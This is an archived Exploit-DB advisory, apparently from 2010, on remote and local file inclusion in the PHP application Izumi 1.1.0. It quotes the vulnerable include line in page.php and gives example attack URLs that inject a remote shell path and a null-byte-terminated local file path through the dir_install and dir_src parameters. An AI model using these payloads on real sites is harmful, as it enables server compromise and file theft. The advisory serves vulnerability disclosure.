Izumi 1.1.0 – Multiple Local File Inclusion / Remote File Inclusions - 体验盒子

作者： cr4wl3r

日期： 2010-02-12

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11415/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

##################################################################

[+] Izumi <= 1.1.0 (RFI/LFI) Multiple Include Vulnerability

[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>

[+] Download : http://sourceforge.net/projects/izumi/files/

##################################################################

[+] Code :

##################################################################

[page.php]

require_once($dir_install . $dir_src . "common.php");

##################################################################

[+] Example :

##################################################################

[x] RFI :

[Izumi_path]/src/page.php?dir_install=[Shell]

[x] LFI :

[Izumi_path]/src/page.php?dir_src=[LFI%00]

[+] GreetZ : s3luruh 4n4k n4k4l j4l4n4n g0r0nt4l0

[+] Note : Brb ngakak dolo. Wkwkwkwkwkwkwk

##################################################################